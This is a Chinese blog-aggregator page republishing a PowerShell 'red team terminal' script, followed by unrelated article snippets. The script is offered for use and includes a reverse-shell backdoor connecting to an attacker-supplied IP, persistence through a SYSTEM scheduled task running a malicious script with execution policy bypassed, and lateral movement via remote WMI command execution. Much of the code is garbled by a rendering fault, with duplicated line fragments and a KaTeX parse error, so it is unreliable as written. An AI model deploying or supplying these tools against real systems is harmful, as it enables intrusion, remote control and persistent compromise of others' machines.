news 2026/5/30 13:32:50

红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
红队渗透利器:高级系统枚举、权限提升与持久化终端脚本

redteam_terminal.ps1

作者:Gerard King

描述:一个用于高级系统枚举、权限提升和持久化的一级红队操作员终端程序。

用例:渗透测试人员和红队操作员在 Windows 环境中进行对抗性演练。

标签:PowerShell,红队,渗透测试,枚举,权限提升,持久化

函数:收集详细的系统信息(例如,操作系统、用户、服务)

function Get-SystemInfo {
$os = Get-CimInstance -ClassName Win32_OperatingSystem
$cpu = Get-CimInstance -ClassName Win32_Processor
$services = Get-Service
users=Get−WmiObject−ClassWin32UserAccountWrite−Host"‘n[+]系统信息:"Write−Host"操作系统:users = Get-WmiObject -Class Win32_UserAccount Write-Host "`n[+] 系统信息:" Write-Host "操作系统:users=GetWmiObjectClassWin32UserAccountWriteHost"‘n[+]系统信息:"WriteHost"操作系统:(os.Caption)∣版本:os.Caption) | 版本:os.Caption)版本:(os.Version)"Write−Host"CPU:os.Version)" Write-Host "CPU:os.Version)"WriteHost"CPU($cpu.Name)"
Write-Host “n[+] 系统上的用户:" $users | ForEach-Object { Write-Host "用户:$($_.Name) | 域:$($_.Domain)" } Write-Host "n[+] 运行中的服务:”
$services | Select-Object Name, Status | Format-Table
}

函数:使用 Netstat 和 PowerShell 扫描开放的端口和活动服务

function Scan-Network {
Write-Host “`n[+] 网络扫描(开放端口):”
$netstat = netstat -an | Select-String “LISTENING”
$netstat | ForEach-Object { Write-Host $_.Line }
}

函数:执行权限提升检查(例如,不安全的权限)

function Priv-EscalationCheck {
Write-Host “n[+] 权限提升检查(不安全的权限):" $vulnerableDirs = @("C:\Program Files", "C:\Windows\System32", "C:\Users\Public") foreach ($dir in $vulnerableDirs) { Write-Host "n检查目录:$dir”
Get-Acl $dir | Select-Object Path, Access
}
}

函数:启动一个反向 Shell 后门

function Start-ReverseShell {
param(
[string]ip,[int]ip, [int]ip,[int]port
)
Write-Host “`n[+] 正在启动反向 Shell 连接到ip:{ip}:ip:{port}”
reverseShell=New−ObjectSystem.Net.Sockets.TcpClient(reverseShell = New-Object System.Net.Sockets.TcpClient(reverseShell=NewObjectSystem.Net.Sockets.TcpClient(ip, $port)
$stream = $reverseShell.GetStream()
writer=New−ObjectSystem.IO.StreamWriter(writer = New-Object System.IO.StreamWriter(writer=NewObjectSystem.IO.StreamWriter(stream)
reader=New−ObjectSystem.IO.StreamReader(reader = New-Object System.IO.StreamReader(reader=NewObjectSystem.IO.StreamReader(stream)
while ($true) {
command=Read−Host"Shell命令"if(command = Read-Host "Shell 命令" if (command=ReadHost"Shell命令"if(command -eq “exit”) {
$writer.WriteLine(“exit”)
$writer.Flush()
break
}
writer.WriteLine(writer.WriteLine(writer.WriteLine(command)
$writer.Flush()
$response = $reader.ReadLine()
Write-Host $response
}
$reader.Close()
$writer.Close()
$reverseShell.Close()
}

函数:创建持久化机制(例如,计划任务)

function Set-Persistence {
Write-Host “`n[+] 正在设置持久化(计划任务)”
$taskName = “RedTeamPersistence”
$taskAction = “powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1”
$taskTrigger = New-ScheduledTaskTrigger -AtStartup
$taskActionObj = New-ScheduledTaskAction -Execute “powershell.exe” -Argument $taskAction
Register-ScheduledTask -Action $taskActionObj -Trigger $taskTrigger -TaskNameKaTeX parse error: Undefined control sequence: \SYSTEM at position 29: …r "NT AUTHORITY\̲S̲Y̲S̲T̲E̲M̲" Write-Hos…taskName"
}

函数:发起横向移动(例如,远程 WMI 或 SMB 执行)

function Lateral-Movement {
param(
[string]targetIp,[string]targetIp, [string]targetIp,[string]command
)
Write-Host “`n[+] 正在向 ${targetIp} 发起横向移动”
Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command
Write-Host “[+] 命令已在targetIp上执行:{targetIp} 上执行:targetIp上执行:{command}”
}

函数:提示用户交互并执行命令

function Start-RedTeamTerminal {
# Check-AdminPrivileges # 移除了管理员检查
Clear-Host
Write-Host “[+] 欢迎来到红队终端。准备就绪,等待您的命令。”
Write-Host “[+] 输入 ‘exit’ 退出或输入 ‘help’ 查看可用命令。”
while ($true) {
input=Read−Host"输入命令"switch(input = Read-Host "输入命令" switch (input=ReadHost"输入命令"switch(input.ToLower()) {
‘sysinfo’ { Get-SystemInfo }
‘network’ { Scan-Network }
‘priv’ { Priv-EscalationCheck }
‘rev’ {
$ip = Read-Host “输入攻击者的 IP”
$port = Read-Host “输入端口”
Start-ReverseShell -ip $ip -port $port
}
‘persistence’ { Set-Persistence }
‘lateral’ {
$targetIp = Read-Host “输入目标 IP”
$command = Read-Host “输入要执行的命令”
Lateral-Movement -targetIp $targetIp -command $command
}
‘exit’ { Write-Host “[+] 正在退出红队终端。”; break }
‘help’ {
Write-Host “`n[+] 可用命令:”
Write-Host “‘sysinfo’ - 显示系统信息。”
Write-Host “‘network’ - 扫描开放端口。”
Write-Host “‘priv’ - 检查权限提升机会。”
Write-Host “‘rev’ - 启动反向 Shell 后门。”
Write-Host “‘persistence’ - 通过计划任务设置持久化。”
Write-Host “‘lateral’ - 通过横向移动远程执行命令。”
Write-Host “‘exit’ - 退出终端。”
}
default { Write-Host “[+] 无效命令。输入 ‘help’ 查看可用命令。” }
}
}
}

启动红队终端

Start-RedTeamTerminal

在关闭窗口前暂停

Read-Host “按 Enter 键退出…”
CSD0tFqvECLokhw9aBeRqgzMWoT3AX/+bU4PBIwC6DhNeFb6uWAb2K1DkZza2joRR6xAJk81iZpBY/YhfptuIexMIqBLL1Tek1O1ZgDACjo=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 19:53:26

网络安全工程师的三个坎,该如何“破局”?

前言: 老李在一家大型互联网公司做高级网络安全工程师,从实习生到工程师整整呆了六年。去年他们公司为了缩减成本,做了裁员,他也在其中,取而代之的是一个只有三年工作经验的… 老李想着,自己也有多年工作…

作者头像 李华
网站建设 2026/5/26 19:53:27

anything-llm镜像能否用于市场调研数据分析?

anything-llm镜像能否用于市场调研数据分析? 在当今信息爆炸的时代,市场调研人员每天面对的不再是几十页的PDF报告,而是成千上万条社交媒体评论、上百份竞品分析文档、数百小时的用户访谈录音。传统的Excel关键词筛选和人工摘要方式早已不堪…

作者头像 李华
网站建设 2026/5/26 20:58:15

揭秘智谱Open-AutoGLM本地部署全流程:5步实现企业级大模型落地

第一章:智谱Open-AutoGLM本地部署概述智谱AI推出的Open-AutoGLM是一款面向自动化文本生成任务的开源大模型工具,支持代码生成、自然语言理解与多轮对话等场景。其核心优势在于结合了大规模预训练语言模型与自动化提示工程机制,能够在无需人工…

作者头像 李华
网站建设 2026/5/29 3:18:31

Open-AutoGLM源码下载后怎么做?专家教你5个高阶用法

第一章:Open-AutoGLM源码下载 获取 Open-AutoGLM 的源码是参与其开发与定制的第一步。该项目托管于公开代码仓库,开发者可通过 Git 工具完成克隆操作。 准备环境 在开始前,请确保本地已安装 Git 和 Python 3.8 环境。推荐使用虚拟环境以隔离…

作者头像 李华
网站建设 2026/5/21 21:25:02

火焰山组合 火焰山出现准备建仓把握时间

{}地线:0,LINETHICK2 COLOR6699FF; 强弱线:50,COLORGREEN,POINTDOT; VAR1:HHV(HIGH,9)-LLV(LOW,9); VAR2:HHV(HIGH,9)-CLOSE; VAR3:CLOSE-LLV(LOW,9); VAR4:VAR2/VAR1*100-70; VAR5:(CLOSE-LLV(LOW,60))/(HHV(HIGH,60)-LLV(LOW,60)); VAR6:(2*CLOSEHIGHLOW)/4; VAR7:SMA(VAR3/V…

作者头像 李华
网站建设 2026/5/27 4:22:57

基于随机森林的共享单车投放量分析与预测选题审批表

河北东方学院本科毕业论文(设计)选题审批表学院(宋体5号居中)班级与教务系统专业一致姓名(宋体5号居中)学号(宋体5号居中)指导教师姓名(宋体5号居中)指导教师职称(填写具…

作者头像 李华